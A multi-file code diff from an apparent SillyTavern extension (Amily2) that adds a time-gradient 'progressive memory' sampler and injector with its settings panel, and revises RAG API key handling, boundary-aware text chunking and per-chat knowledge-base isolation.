* 与超级记忆(写世界书条目)不同,本模块通过 setExtensionPrompt 直接把采样结果
* 注入到当回合上下文——内容独立、不落世界书、不随聊天/角色卡导出,生命周期天然
* 跟随会话。数据源为某张追加式表格(默认「总结表」),按时间梯度采样:
* 最新 X 行全量 + 历史对半拆,较近一半等距取 Y 行、较远一半等距取 Z 行。
*
* 权限开发中功能plugin_user_type >= 3 方可生效(未来版本对外开放)。
*
* 设计为纯数据驱动:所有参数存 extension_settings[extensionName].progressive_memory
* 采样逻辑委托 sampler.js纯函数后续可平移为 memory-blocks 工作链节点。
*/
import { setExtensionPrompt } from "/script.js";
import { extension_settings, getContext } from "/scripts/extensions.js";
import { extensionName } from "../../utils/settings.js";
import { getMemoryState } from "../table-system/manager.js";
import { sampleProgressive } from "./sampler.js";
const INJECTION_KEY = "AMILY2_PROGRESSIVE_MEMORY";
const PLACEHOLDER = "{{progressive_memory}}";
export const progressiveMemoryDefaults = {
progressive_memory: {
enabled: false,
targetTable: "总结表",
recentCount: 5,
midCount: 5,
farCount: 3,
// 注入模板:占位符 {{progressive_memory}} 处填入采样后的行文本
template:
"##以下是按时间梯度回顾的历史记忆(近期完整、远期摘要,时间从旧到新),作为后续剧情的连续性参考:\n{{progressive_memory}}",
injection: { position: 1, depth: 0, role: 0 },
},
};
function getSettings() {
const root = extension_settings[extensionName] || {};
return { ...progressiveMemoryDefaults.progressive_memory, ...(root.progressive_memory || {}) };
}
function isAuthorized() {
return parseInt(localStorage.getItem("plugin_user_type") || "0") >= 3;
}
/** 把单行渲染为 `- 列名: 值` 块,与超级记忆详情条目格式一致,便于 AI 解析。 */
function renderRow(row, headers, tableName) {
let finalHeaders = headers;
if (!finalHeaders || finalHeaders.length < row.length) {
finalHeaders = [];
for (let i = 0; i < row.length; i++) {
finalHeaders.push((headers && headers[i]) ? headers[i] : `Col_${i}`);
}
}
let out = `${tableName} · ${row[0] || "?"}\n`;
for (let i = 0; i < row.length; i++) {
out += `- ${finalHeaders[i] || `Col_${i}`}: ${row[i] ?? ""}\n`;
}
return out.trim();
}
/**
* 构建注入文本。返回 '' 表示无需注入(未启用 / 无权限 / 无数据)。
*/
export function buildProgressiveInjection() {
if (!isAuthorized()) return "";
const s = getSettings();
if (!s.enabled) return "";
const tables = getMemoryState();
if (!Array.isArray(tables) || tables.length === 0) return "";
const table = tables.find(t => t.name === s.targetTable);
if (!table || !Array.isArray(table.rows) || table.rows.length === 0) return "";
const headers = table.headers || [];
const rowStatuses = table.rowStatuses || [];
// 候选行:有主键、非删除中
const candidates = [];
table.rows.forEach((row, index) => {
if (!row || row.length === 0) return;
const primary = row[0];
if (primary === undefined || primary === null || String(primary).trim() === "") return;
if (rowStatuses[index] === "pending-deletion") return;
candidates.push(row);
});
if (candidates.length === 0) return "";
const picked = sampleProgressive(candidates.length, {
recentCount: s.recentCount,
midCount: s.midCount,
farCount: s.farCount,
});
if (picked.length === 0) return "";
const body = picked.map(pos => renderRow(candidates[pos], headers, s.targetTable)).join("\n\n");
const template = s.template || PLACEHOLDER;
return template.includes(PLACEHOLDER) ? template.replace(PLACEHOLDER, body) : `${template}\n${body}`;
}
/**
* 执行注入。由统一注入周期executeAmily2Injection调用。
* @param {string} [type] 'quiet' 时跳过(与表格注入器一致)
*/
export function injectProgressiveMemory(type) {
try {
if (type === "quiet") return;
const content = buildProgressiveInjection();
if (!content) {
setExtensionPrompt(INJECTION_KEY, "", 0, 0, false, 0);
return;
}
const s = getSettings();
const inj = s.injection || {};
setExtensionPrompt(
INJECTION_KEY,
content,
parseInt(inj.position ?? 1, 10),
parseInt(inj.depth ?? 0, 10),
false,
parseInt(inj.role ?? 0, 10),
);
console.log(`[Amily2-渐进记忆] 已注入 (position:${inj.position}, depth:${inj.depth}, role:${inj.role})。`);
} catch (error) {
console.error("[Amily2-渐进记忆] 注入失败:", error);
}
}
export function clearProgressiveMemoryInjection() {
try {
setExtensionPrompt(INJECTION_KEY, "", 0, 0, false, 0);
} catch { /* ST 未就绪时静默 */ }
}

View File

@@ -0,0 +1,76 @@
<div class="amily2-header">
<div class="additional-features-title interactable" title="Amily2 渐进记忆(内测)">
<i class="fas fa-layer-group"></i> 渐进记忆 <span style="font-size: 0.6em; color: #ffc107; vertical-align: super;">BETA</span>
</div>
<button id="amily2_back_to_main_from_progressive_memory" class="menu_button secondary small_button interactable">
返回主殿 <i class="fas fa-arrow-right"></i>
</button>
</div>
<hr class="header-divider">
<div id="pm-modal-container">
<div class="sm-intro-box">
<h3><i class="fas fa-layer-group"></i> 渐进记忆 (Progressive Memory)</h3>
<p>按"近期完整、远期摘要"的时间梯度,从指定表格采样历史并注入上下文——模拟人类记忆衰减,在有限 Token 内兼顾最近连贯与长期回顾。</p>
<p style="color: #ffc107; font-size: 0.9em;"><i class="fas fa-flask"></i> 内测功能:注入内容直达上下文、不写世界书、不随聊天导出,仅当回合生效。</p>
</div>
<fieldset class="sm-settings-group">
<legend><i class="fas fa-cogs"></i> 基础设置</legend>
<div class="sm-control-block">
<label>启用渐进记忆 (总开关):</label>
<label class="sm-toggle-switch">
<input type="checkbox" id="pm-enabled">
<span class="sm-slider"></span>
</label>
</div>
<div class="sm-control-block">
<label title="作为采样数据源的表格名称,需为追加式表格(行序从旧到新),推荐总结表">数据源表格:</label>
<input type="text" id="pm-target-table" style="background: rgba(0, 0, 0, 0.3); border: 1px solid #444; color: #e0e0e0; padding: 5px; border-radius: 4px;" value="总结表">
</div>
</fieldset>
<fieldset class="sm-settings-group">
<legend><i class="fas fa-sliders-h"></i> 采样参数</legend>
<div class="sm-control-block">
<label title="最新 N 行全量保留(最近发生的事,完整保真)">近期全量行数 (X):</label>
<input type="number" id="pm-recent" min="0" step="1" style="background: rgba(0, 0, 0, 0.3); border: 1px solid #444; color: #e0e0e0; padding: 5px; border-radius: 4px; width: 80px;" value="5">
</div>
<div class="sm-control-block">
<label title="除近期外的历史对半拆分,较近的一半(中区)等距取 N 行">中区采样行数 (Y):</label>
<input type="number" id="pm-mid" min="0" step="1" style="background: rgba(0, 0, 0, 0.3); border: 1px solid #444; color: #e0e0e0; padding: 5px; border-radius: 4px; width: 80px;" value="5">
</div>
<div class="sm-control-block">
<label title="历史较远的一半(远区)等距取 N 行">远区采样行数 (Z):</label>
<input type="number" id="pm-far" min="0" step="1" style="background: rgba(0, 0, 0, 0.3); border: 1px solid #444; color: #e0e0e0; padding: 5px; border-radius: 4px; width: 80px;" value="3">
</div>
<small style="color: #888; font-size: 0.8em; display: block; margin-top: -5px; margin-bottom: 10px; padding-left: 5px;">
行序按时间从旧到新:最新 X 行全量;其余历史对半拆,较近一半等距取 Y 行、较远一半等距取 Z 行(中心对齐等距采样,不随机、不首尾加权,避免内容扎堆或事件结局被规律性忽略)。
</small>
</fieldset>
<fieldset class="sm-settings-group">
<legend><i class="fas fa-syringe"></i> 注入设置</legend>
<div class="sm-control-block">
<label title="注入位置0=系统提示前1=系统提示后(@D 注入用深度控制)">注入位置 (position):</label>
<input type="number" id="pm-inj-position" min="0" max="1" step="1" style="background: rgba(0, 0, 0, 0.3); border: 1px solid #444; color: #e0e0e0; padding: 5px; border-radius: 4px; width: 80px;" value="1">
</div>
<div class="sm-control-block">
<label title="注入深度楼层0 = 最底部">注入深度 (depth):</label>
<input type="number" id="pm-inj-depth" min="0" step="1" style="background: rgba(0, 0, 0, 0.3); border: 1px solid #444; color: #e0e0e0; padding: 5px; border-radius: 4px; width: 80px;" value="0">
</div>
<div class="sm-control-block">
<label title="注入角色0=系统1=用户2=AI">注入角色 (role):</label>
<select id="pm-inj-role" class="text_pole" style="background: rgba(0, 0, 0, 0.3); border: 1px solid #444; color: #e0e0e0; padding: 5px; border-radius: 4px; width: 100px;">
<option value="0">系统</option>
<option value="1">用户</option>
<option value="2">AI</option>
</select>
</div>
<div class="sm-control-block" style="display: block;">
<label title="占位符 {{progressive_memory}} 会被替换为采样后的行文本">注入模板:</label>
<textarea id="pm-template" rows="4" style="width: 100%; margin-top: 5px; background: rgba(0, 0, 0, 0.3); border: 1px solid #444; color: #e0e0e0; padding: 5px; border-radius: 4px; box-sizing: border-box;"></textarea>
<small style="color: #888; font-size: 0.8em; display: block; margin-top: 3px;">必须包含占位符 <code>{{progressive_memory}}</code>;缺失时采样内容会追加到模板末尾。</small>
</div>
</fieldset>
</div>

View File

@@ -0,0 +1,69 @@
/**
* core/progressive-memory/sampler.js
*
* 渐进式记忆采样(梯度记忆):行序假定为 旧 → 新(追加式表格,如总结表)。
*
* [───── 远区(历史前 50%)─────][───── 中区(历史后 50%)─────][最新 recentCount 行]
* 等距取 farCount 行 等距取 midCount 行 全量保留
*
* 设计约束(与用户确认):
* - 不随机、不首尾加权——等距(中心对齐)抽样,时间分布均匀、结果可预期,
* 避免内容扎堆在某段时期或事件结局被采样规律性忽略。
* - 参数为纯 JSONrecentCount / midCount / farCount后续可直接作为
* memory-blocks 工作链的 progressive_sample 节点参数平移。
*
* 本模块只做"选哪些行"的纯计算,不涉及渲染与世界书写入。
*/
/**
* 中心对齐等距抽样:从长度 length 的区间内取 count 个索引。
* 取样点 = floor((i + 0.5) * length / count),使样本落在各等分段的中点,
* 避免"恒取区间开头/结尾"造成的边界偏置。
*
* @param {number} length 区间长度
* @param {number} count 期望取样数
* @returns {number[]} 升序、去重后的区间内偏移索引0-based
*/
export function evenIndices(length, count) {
if (length <= 0 || count <= 0) return [];
if (count >= length) return Array.from({ length }, (_, i) => i);
const out = new Set();
for (let i = 0; i < count; i++) {
out.add(Math.floor((i + 0.5) * length / count));
}
return [...out].sort((a, b) => a - b);
}
/**
* 渐进式采样主入口。
*
* @param {number} totalCount 候选行总数(已过滤掉删除中/无主键的行之后)
* @param {{ recentCount?: number, midCount?: number, farCount?: number }} [params]
* @returns {number[]} 升序的入选行索引相对候选序列0 = 最旧)
*/
export function sampleProgressive(totalCount, params = {}) {
const recentCount = Math.max(0, params.recentCount ?? 5);
const midCount = Math.max(0, params.midCount ?? 5);
const farCount = Math.max(0, params.farCount ?? 3);
if (totalCount <= 0) return [];
const picked = new Set();
// 最新 recentCount 行全量
const recent = Math.min(recentCount, totalCount);
const recentStart = totalCount - recent;
for (let i = recentStart; i < totalCount; i++) picked.add(i);
// 历史区 [0, recentStart),对半拆:前半=远区,后半=中区(更靠近现在)
const histLen = recentStart;
if (histLen > 0) {
const farLen = Math.floor(histLen / 2);
const midLen = histLen - farLen;
for (const offset of evenIndices(midLen, midCount)) picked.add(farLen + offset);
for (const offset of evenIndices(farLen, farCount)) picked.add(offset);
}
return [...picked].sort((a, b) => a - b);
}

View File

@@ -14,6 +14,14 @@ import { extensionName } from '../utils/settings.js';
const MODULE_NAME = 'hanlinyuan-rag-core';
const GOOGLE_API_BASE_URL = 'https://generativelanguage.googleapis.com';
// profile-sync 在 UI 隐藏字段时填入的掩码占位符const MASKED_KEY = '••••••••')。
// 历史上 saveSettingsFromUI 曾把这个占位符写回 settings.{rerank,retrieval}.apiKey
// 导致取消 Profile 分配后实际请求带占位符 token 被 401。这里做防御性还原。
const PROFILE_MASKED_KEY = '••••••••';
function sanitizeMaskedKey(key) {
return key === PROFILE_MASKED_KEY ? '' : key;
}
function getSettings() {
const root = extension_settings[extensionName];
const nested = root && root[MODULE_NAME];
@@ -32,15 +40,31 @@ function getSettings() {
export async function getEmbedRetrievalSettings() {
const profile = await getSlotProfile('ragEmbed');
if (profile) {
const apiKey = sanitizeMaskedKey(profile.apiKey ?? '');
return {
apiEndpoint: profile.provider === 'google' ? 'google_direct' : 'custom',
customApiUrl: profile.apiUrl,
apiKey: profile.apiKey ?? '',
apiKey,
embeddingModel: profile.model,
batchSize: getSettings().retrieval?.batchSize ?? 5,
// Key 存储是设备本地的ApiKeyStore local/cloud 模式均不跨设备),
// 换设备/浏览器后 profile 同步而 Key 缺失——标记出来供报错说明
_keyMissingFromProfile: !apiKey,
_profileName: profile.name || profile.id,
};
}
return getSettings().retrieval || {};
const fallback = getSettings().retrieval || {};
return { ...fallback, apiKey: sanitizeMaskedKey(fallback.apiKey ?? '') };
}
/** Key 缺失时的统一文案:区分"profile 在本设备无 Key"与"未配置" */
export function describeMissingKey(resolved, plainMessage) {
if (resolved?._keyMissingFromProfile) {
return `连接配置「${resolved._profileName}」在本设备上没有可用的 API Key。` +
`Key 仅保存在最初填写它的设备/浏览器上,不随云端设置同步。` +
`请在「API 连接配置」面板编辑该配置并重新填写 Key。`;
}
return plainMessage;
}
/**
@@ -49,15 +73,20 @@ export async function getEmbedRetrievalSettings() {
export async function getRerankSettings() {
const profile = await getSlotProfile('ragRerank');
if (profile) {
const manualSettings = getSettings().rerank || {};
const apiKey = sanitizeMaskedKey(profile.apiKey ?? '');
return {
url: profile.apiUrl,
apiKey: profile.apiKey ?? '',
apiKey,
model: profile.model,
top_n: getSettings().rerank?.top_n ?? 10,
apiMode: 'custom',
top_n: manualSettings.top_n ?? 10,
apiMode: manualSettings.apiMode ?? 'custom',
_keyMissingFromProfile: !apiKey,
_profileName: profile.name || profile.id,
};
}
return getSettings().rerank || {};
const fallback = getSettings().rerank || {};
return { ...fallback, apiKey: sanitizeMaskedKey(fallback.apiKey ?? '') };
}
function normalizeApiResponse(responseData) {
@@ -109,8 +138,8 @@ export async function fetchEmbeddingModels(overrideSettings = null) {
switch (apiEndpoint) {
case 'google_direct':
if (!apiKey) throw new Error("Google直连模式需要API Key。");
if (!apiKey) throw new Error(describeMissingKey(settings, "Google直连模式需要API Key。"));
const fetchGoogleModels = async (version) => {
const url = `${GOOGLE_API_BASE_URL}/${version}/models`;
console.log(`[翰林院] 正在从 Google API (${version}) 获取模型列表: ${url}`);
@@ -214,7 +243,7 @@ export async function fetchRerankModels() {
throw new Error("Rerank API URL 未提供。");
}
if (apiMode === 'custom' && !apiKey) {
throw new Error("自定义模式下Rerank API Key 未提供。");
throw new Error(describeMissingKey(settings, "自定义模式下Rerank API Key 未提供。"));
}
const baseUrl = getRerankBaseUrl(url);
@@ -253,7 +282,7 @@ export async function executeRerank(query, documents, rerankSettings = null) {
const { url, apiKey, model, top_n, apiMode = 'custom' } = resolved;
if (!url) throw new Error("Rerank API URL 未提供。");
if (apiMode === 'custom' && !apiKey) throw new Error("自定义模式下Rerank API Key 未提供。");
if (apiMode === 'custom' && !apiKey) throw new Error(describeMissingKey(resolved, "自定义模式下Rerank API Key 未提供。"));
const baseUrl = getRerankBaseUrl(url);
const rerankUrl = `${baseUrl}/v1/rerank`;
@@ -298,10 +327,12 @@ export function getApiEndpointUrl(raw = false, overrideRetrieval = null) {
break;
case 'azure':
case 'custom':
case 'local_proxy': // 本地代理LM Studio/Ollama同样使用用户填写的地址此前漏掉落入 default 被错误定向到 openai.com
url = customApiUrl;
break;
default:
url = 'https://api.openai.com';
// apiEndpoint 为空/非法(历史 profile-sync 污染customApiUrl 比硬编码 openai.com 更可能是用户真实意图
url = customApiUrl || 'https://api.openai.com';
break;
}
if (raw) {
@@ -345,7 +376,7 @@ export async function getEmbeddings(texts, signal = null) {
switch (apiEndpoint) {
case 'google_direct':
console.log('[翰林院-API] 使用Google直连模式获取向量。');
if (!apiKey) throw new Error('Google直连模式需要API Key。');
if (!apiKey) throw new Error(describeMissingKey(settings, 'Google直连模式需要API Key。'));
// 使用适配器构建URL和请求体Key 通过 x-goog-api-key 头传递避免 URL 泄露
const googleUrl = buildGoogleEmbeddingApiUrl(GOOGLE_API_BASE_URL, embeddingModel);

View File

@@ -21,6 +21,7 @@ import {
fetchEmbeddingModels as apiFetchEmbeddingModels,
fetchRerankModels as apiFetchRerankModels,
executeRerank,
getRerankSettings,
testApiConnection as apiTestApiConnection
} from './rag-api.js';
import { superSort } from './super-sorter.js';
@@ -152,6 +153,7 @@ function initialize() {
return;
}
migrateLegacyRagSettings();
sanitizeProfilePollution();
settings = getSettings();
if (!window.hanlinyuanRagProcessor) {
window.hanlinyuanRagProcessor = {};
@@ -219,20 +221,27 @@ async function ingestTextToHanlinyuan(text, source = 'manual', metadata = {}, pr
break;
}
// 独立聊天记忆模式:聊天记录类向量按聊天分桶(剧情线隔离),
// 其余来源(小说/世界书/手动)属于"知识",仍随角色卡共享
const independentChatId = (source === 'chat_history' && settings.retrieval.independentChatMemoryEnabled)
? getChatId()
: null;
const existingKbs = Object.values(getKnowledgeBases());
const foundKb = existingKbs.find(kb => kb.name === kbName);
// 同名合并需限定在同一聊天命名空间内,避免独立模式下不同聊天的同名楼层段互相串库
const foundKb = existingKbs.find(kb => kb.name === kbName && (kb.chatId ?? null) === independentChatId);
if (foundKb) {
taskId = foundKb.id;
logCallback(`[翰林院-核心] 检测到同名知识库 "${kbName}",将数据合并入库。`, 'info');
} else {
logCallback(`[翰林院-核心] 准备为任务 "${kbName}" 创建专属知识库...`, 'info');
const newKb = addKnowledgeBase(kbName, source);
const newKb = addKnowledgeBase(kbName, source, independentChatId);
taskId = newKb.id;
}
const charId = getCharacterStableId();
const collectionId = `${charId}_${taskId}`;
const collectionId = independentChatId ? `${independentChatId}_${taskId}` : `${charId}_${taskId}`;
logCallback(`[翰林院-核心] 已创建并锁定知识库: ${kbName} (集合ID: ${collectionId})`, 'success');
logCallback(`[翰林院-核心] 已锁定忆识宝库ID: ${collectionId}`, 'info');
@@ -341,7 +350,26 @@ function getSettings() {
}
}
}
// 旧版设置 rerank.priorityRetrieval 可能只有 enabled 字段而缺少 sources补全
if (s.rerank?.priorityRetrieval && !s.rerank.priorityRetrieval.sources) {
s.rerank.priorityRetrieval.sources = structuredClone(ragDefaultSettings.rerank.priorityRetrieval.sources);
}
// 确保 sources 中每个来源条目完整(新增来源 / 新增字段时旧用户不会缺失)
if (s.rerank?.priorityRetrieval?.sources) {
const defaultSources = ragDefaultSettings.rerank.priorityRetrieval.sources;
for (const sourceName in defaultSources) {
if (!s.rerank.priorityRetrieval.sources[sourceName]) {
s.rerank.priorityRetrieval.sources[sourceName] = structuredClone(defaultSources[sourceName]);
} else {
const existing = s.rerank.priorityRetrieval.sources[sourceName];
for (const key in defaultSources[sourceName]) {
if (existing[key] === undefined) existing[key] = defaultSources[sourceName][key];
}
}
}
}
return s;
}
@@ -391,6 +419,49 @@ function migrateLegacyRagSettings() {
saveSettingsDebounced();
}
/**
* 一次性清洗 profile-sync 历史污染2.2.5 之前的版本遗留)。
*
* 旧版 saveSettingsFromUI 会把被 Profile 接管的隐藏字段值写回 settings
* - apiKey 被写成掩码 '••••••••'rag-api 已有读侧防御,这里根治持久层)
* - apiEndpoint 的 select 被 _fillLegacyFields 赋了不存在的 option 值
* profile.provider 如 'custom_oai')后 value 变 '''' 被写回 settings
* '' 在 getApiEndpointUrl 落 default 分支,请求被错误定向 → 向量化全失败
*
* 2.2.5 修复了"继续污染",本函数清理已污染的存量数据。
*/
function sanitizeProfilePollution() {
const s = getSettings();
const MASKED = '••••••••';
let cleaned = [];
if (s.retrieval?.apiKey === MASKED) {
s.retrieval.apiKey = '';
cleaned.push('retrieval.apiKey 掩码');
}
if (s.rerank?.apiKey === MASKED) {
s.rerank.apiKey = '';
cleaned.push('rerank.apiKey 掩码');
}
// 合法值与 UI select 选项及 rag-api 的 switch 分支保持一致
const validEndpoints = ['custom', 'google_direct', 'local_proxy', 'openai', 'azure'];
if (s.retrieval && !validEndpoints.includes(s.retrieval.apiEndpoint)) {
cleaned.push(`retrieval.apiEndpoint 非法值 "${s.retrieval.apiEndpoint}"`);
s.retrieval.apiEndpoint = 'custom';
}
const validRerankModes = ['custom', 'local_proxy'];
if (s.rerank && !validRerankModes.includes(s.rerank.apiMode)) {
cleaned.push(`rerank.apiMode 非法值 "${s.rerank.apiMode}"`);
s.rerank.apiMode = 'custom';
}
if (cleaned.length > 0) {
console.warn(`[翰林院] 已清洗 profile-sync 历史污染字段: ${cleaned.join('、')}`);
saveSettings();
}
}
function showNotification(message, type = 'info') {
toastr[type](message);
}
@@ -412,6 +483,71 @@ function getTagForSource(source) {
}
/**
* 边界感知切分:把 content 切成不超过 chunkSize 的片段,尽量在自然边界断开。
*
* 三级回退策略(替代旧的纯字符硬切,避免句子/对话被拦腰截断):
* 1. 段落边界(最后一个换行符)
* 2. 句末边界(。!?!?… 及其后跟随的闭合引号/括号)
* 3. 都找不到(极端长串)才硬切
* 边界切点过于靠前(< 40% 块长)时视为无效,降级到下一策略——防止
* 一个超长段落开头的短句导致块碎片化。
*
* @param {string} content
* @param {number} chunkSize - 单块最大字符数
* @param {number} overlap - 相邻块重叠字符数(语义衔接),从上一块尾部回看
* @returns {string[]}
*/
function splitBySemanticBoundary(content, chunkSize, overlap) {
const pieces = [];
if (!content || chunkSize <= 0) return pieces;
const minCut = Math.floor(chunkSize * 0.4);
const sentenceEndRegex = /[。!?!?…][”"』」))】]?/g;
let pos = 0;
while (pos < content.length) {
let end = Math.min(pos + chunkSize, content.length);
if (end < content.length) {
const slice = content.substring(pos, end);
// 1. 段落边界:最后一个换行(切点含换行符本身)
let cut = slice.lastIndexOf('\n') + 1;
// 2. 段落边界无效时找最后一个句末边界
if (cut <= minCut) {
let lastSentenceEnd = -1;
sentenceEndRegex.lastIndex = 0;
let m;
while ((m = sentenceEndRegex.exec(slice)) !== null) {
lastSentenceEnd = m.index + m[0].length;
}
if (lastSentenceEnd > minCut) cut = lastSentenceEnd;
}
// 3. 有效边界则收缩切点,否则保持硬切
if (cut > minCut) end = pos + cut;
}
const piece = content.substring(pos, end);
if (piece.trim().length > 0) pieces.push(piece);
if (end >= content.length) break;
// overlap 回看Math.max 防止 overlap >= 块长时死循环
pos = Math.max(end - overlap, pos + 1);
}
return pieces;
}
/** 把 ISO/任意时间值格式化为写入块 prefix 的紧凑标识(不含逗号,便于正则反解) */
function formatChunkTimeLabel(timestamp) {
const d = new Date(timestamp);
if (isNaN(d.getTime())) return '';
const pad = n => String(n).padStart(2, '0');
return `${d.getFullYear()}-${pad(d.getMonth() + 1)}-${pad(d.getDate())} ${pad(d.getHours())}:${pad(d.getMinutes())}`;
}
function splitIntoChunks(text, source, metadata = {}) {
switch (source) {
case 'novel':
@@ -446,30 +582,22 @@ function _chunkForNovel(text, metadata) {
function processBuffer() {
if (contentBuffer.length === 0) return;
const content = contentBuffer.join('\n');
let start = 0;
let section = 1;
while (start < content.length) {
const end = Math.min(start + chunkSize, content.length);
const chunkText = content.substring(start, end);
if (chunkText.trim().length > 0) {
const chunkMetadata = {
source: 'novel',
sourceName: sourceName,
timestamp: new Date().toISOString(),
globalIndex: globalChunkIndex++,
volume: currentVolumeTitle,
chapter: currentChapterTitle,
section: section,
};
const tagName = getTagForSource('novel');
const prefix = `[来源: ${sourceName}, ${currentVolumeTitle}, ${currentChapterTitle}, 第${section}节]`;
const wrappedText = `<${tagName}>\n${prefix}\n${chunkText}\n</${tagName}>`;
allChunks.push({ text: wrappedText, metadata: chunkMetadata });
section++;
}
start += (chunkSize - overlap);
if (start >= content.length) break;
}
const tagName = getTagForSource('novel');
splitBySemanticBoundary(content, chunkSize, overlap).forEach((chunkText, idx) => {
const section = idx + 1;
const chunkMetadata = {
source: 'novel',
sourceName: sourceName,
timestamp: new Date().toISOString(),
globalIndex: globalChunkIndex++,
volume: currentVolumeTitle,
chapter: currentChapterTitle,
section: section,
};
const prefix = `[来源: ${sourceName}, ${currentVolumeTitle}, ${currentChapterTitle}, 第${section}节]`;
const wrappedText = `<${tagName}>\n${prefix}\n${chunkText}\n</${tagName}>`;
allChunks.push({ text: wrappedText, metadata: chunkMetadata });
});
contentBuffer = [];
}
@@ -489,11 +617,9 @@ function _chunkForNovel(text, metadata) {
processBuffer();
if (allChunks.length === 0 && text.length > 0) {
let start = 0;
let section = 1;
while (start < text.length) {
const end = Math.min(start + chunkSize, text.length);
const chunkText = text.substring(start, end);
const tagName = getTagForSource('novel');
splitBySemanticBoundary(text, chunkSize, overlap).forEach((chunkText, idx) => {
const section = idx + 1;
const chunkMetadata = {
source: 'novel',
sourceName: sourceName,
@@ -503,13 +629,10 @@ function _chunkForNovel(text, metadata) {
chapter: "第1章",
section: section,
};
const tagName = getTagForSource('novel');
const prefix = `[来源: ${sourceName}, 第1卷, 第1章, 第${section}节]`;
const wrappedText = `<${tagName}>\n${prefix}\n${chunkText}\n</${tagName}>`;
allChunks.push({ text: wrappedText, metadata: chunkMetadata });
section++;
start += (chunkSize - overlap);
}
});
}
return allChunks;
}
@@ -521,15 +644,15 @@ function _chunkForChatHistory(text, metadata) {
const allChunks = [];
if (!text || chunkSize <= 0) return allChunks;
let part = 1;
let start = 0;
// 时间写进 prefix 才能在检索后被反解回来ST 向量存储不持久化 metadata
const timeLabel = formatChunkTimeLabel(timestamp);
const tagName = getTagForSource('chat_history');
while (start < text.length) {
const end = Math.min(start + chunkSize, text.length);
const chunkText = text.substring(start, end);
const prefix = `[来源: 聊天记录, 楼层: #${floor}, 第${part}部分]`;
const tagName = getTagForSource('chat_history');
splitBySemanticBoundary(text, chunkSize, overlap).forEach((chunkText, idx) => {
const part = idx + 1;
const prefix = timeLabel
? `[来源: 聊天记录, 楼层: #${floor}, 时间: ${timeLabel}, 第${part}部分]`
: `[来源: 聊天记录, 楼层: #${floor}, 第${part}部分]`;
const wrappedText = `<${tagName}>\n${prefix}\n${chunkText}\n</${tagName}>`;
allChunks.push({
@@ -543,11 +666,7 @@ function _chunkForChatHistory(text, metadata) {
timestamp: timestamp,
}
});
part++;
start += (chunkSize - overlap);
if (start >= text.length) break;
}
});
return allChunks;
}
@@ -558,15 +677,11 @@ function _chunkForLorebook(text, metadata) {
const allChunks = [];
if (!text || chunkSize <= 0) return allChunks;
let part = 1;
let start = 0;
const tagName = getTagForSource('lorebook');
while (start < text.length) {
const end = Math.min(start + chunkSize, text.length);
const chunkText = text.substring(start, end);
splitBySemanticBoundary(text, chunkSize, overlap).forEach((chunkText, idx) => {
const part = idx + 1;
const prefix = `[来源: ${bookName}, 条目: ${entryName}, 第${part}部分]`;
const tagName = getTagForSource('lorebook');
const wrappedText = `<${tagName}>\n${prefix}\n${chunkText}\n</${tagName}>`;
allChunks.push({
@@ -580,11 +695,7 @@ function _chunkForLorebook(text, metadata) {
timestamp: new Date().toISOString(),
}
});
part++;
start += (chunkSize - overlap);
if (start >= text.length) break;
}
});
return allChunks;
}
@@ -596,16 +707,12 @@ function _chunkForManual(text, metadata) {
if (!text || chunkSize <= 0) return allChunks;
const timestamp = new Date();
const readableTime = timestamp.toLocaleString('zh-CN');
let part = 1;
let start = 0;
const readableTime = formatChunkTimeLabel(timestamp);
const tagName = getTagForSource('manual');
while (start < text.length) {
const end = Math.min(start + chunkSize, text.length);
const chunkText = text.substring(start, end);
splitBySemanticBoundary(text, chunkSize, overlap).forEach((chunkText, idx) => {
const part = idx + 1;
const prefix = `[来源: ${sourceName}, 向量化录入时间: ${readableTime}, 第${part}部分]`;
const tagName = getTagForSource('manual');
const wrappedText = `<${tagName}>\n${prefix}\n${chunkText}\n</${tagName}>`;
allChunks.push({
@@ -617,11 +724,7 @@ function _chunkForManual(text, metadata) {
timestamp: timestamp.toISOString(),
}
});
part++;
start += (chunkSize - overlap);
if (start >= text.length) break;
}
});
return allChunks;
}
@@ -689,7 +792,13 @@ function getKnowledgeBases() {
return { ...globalBases, ...localBases };
}
function addKnowledgeBase(name, source = 'manual') {
/**
* @param {string} name
* @param {string} source
* @param {string|null} chatId - 非空时该库为"聊天级":向量集合按 `${chatId}_${taskId}`
* 命名空间隔离(独立聊天记忆模式下的聊天记录库),查询时只对该聊天可见
*/
function addKnowledgeBase(name, source = 'manual', chatId = null) {
if (!name || !name.trim()) {
throw new Error('知识库名称不能为空');
}
@@ -702,17 +811,28 @@ function addKnowledgeBase(name, source = 'manual') {
name: name.trim(),
enabled: true,
createdAt: new Date().toISOString(),
owner: charId,
source: source,
owner: charId,
source: source,
...(chatId ? { chatId } : {}),
};
bases[taskId] = newBase;
saveSettings();
console.log(`[翰林院-核心] 已为角色 ${charId} 添加新知识库: ${name} (ID: ${taskId})`);
console.log(`[翰林院-核心] 已为角色 ${charId} 添加新知识库: ${name} (ID: ${taskId}${chatId ? `, 聊天级: ${chatId}` : ''})`);
return newBase;
}
/**
* 计算知识库的向量集合 ID单一事实来源
* 聊天级库kb.chatId按聊天命名空间其余按 owner/角色命名空间。
*/
function getKbCollectionId(kb, scope = 'local') {
if (kb.chatId) return `${kb.chatId}_${kb.id}`;
if (scope === 'global') return `${kb.owner || GLOBAL_SCOPE_ID}_${kb.id}`;
return `${getCharacterStableId()}_${kb.id}`;
}
async function removeKnowledgeBase(taskId, scope) {
const charId = getCharacterStableId();
const bases = scope === 'global' ? getGlobalKnowledgeBases() : getLocalKnowledgeBases();
@@ -724,9 +844,8 @@ async function removeKnowledgeBase(taskId, scope) {
return;
}
const ownerId = scope === 'global' ? (base.owner || GLOBAL_SCOPE_ID) : charId;
const collectionIdToPurge = `${ownerId}_${taskId}`;
const collectionIdToPurge = getKbCollectionId(base, scope);
console.log(`[翰林院-核心] 准备删除知识库 ${taskId},将清空集合: ${collectionIdToPurge}`);
const purged = await purgeStorage(collectionIdToPurge);
@@ -773,30 +892,38 @@ async function queryVectors(queryText, options = {}) {
}
else if (settings.retrieval.independentChatMemoryEnabled) {
console.log('[翰林院-日志] 独立聊天记忆模式开启...');
const chatId = getChatId();
if (chatId) {
console.log(`[翰林院-日志] 添加当前聊天宝库: ${chatId}`);
basesToQuery.push({ id: chatId, name: `当前聊天 (${chatId})`, scope: 'chat' });
} else {
console.warn('[翰林院-日志] 无法获取当前聊天ID跳过聊天宝库。');
if (!chatId) {
console.warn('[翰林院-日志] 无法获取当前聊天ID聊天级知识库将被跳过。');
}
const globalBases = getGlobalKnowledgeBases();
const enabledGlobalBases = Object.values(globalBases).filter(b => b.enabled);
// 本地库过滤规则:知识类库(无 chatId照常可查
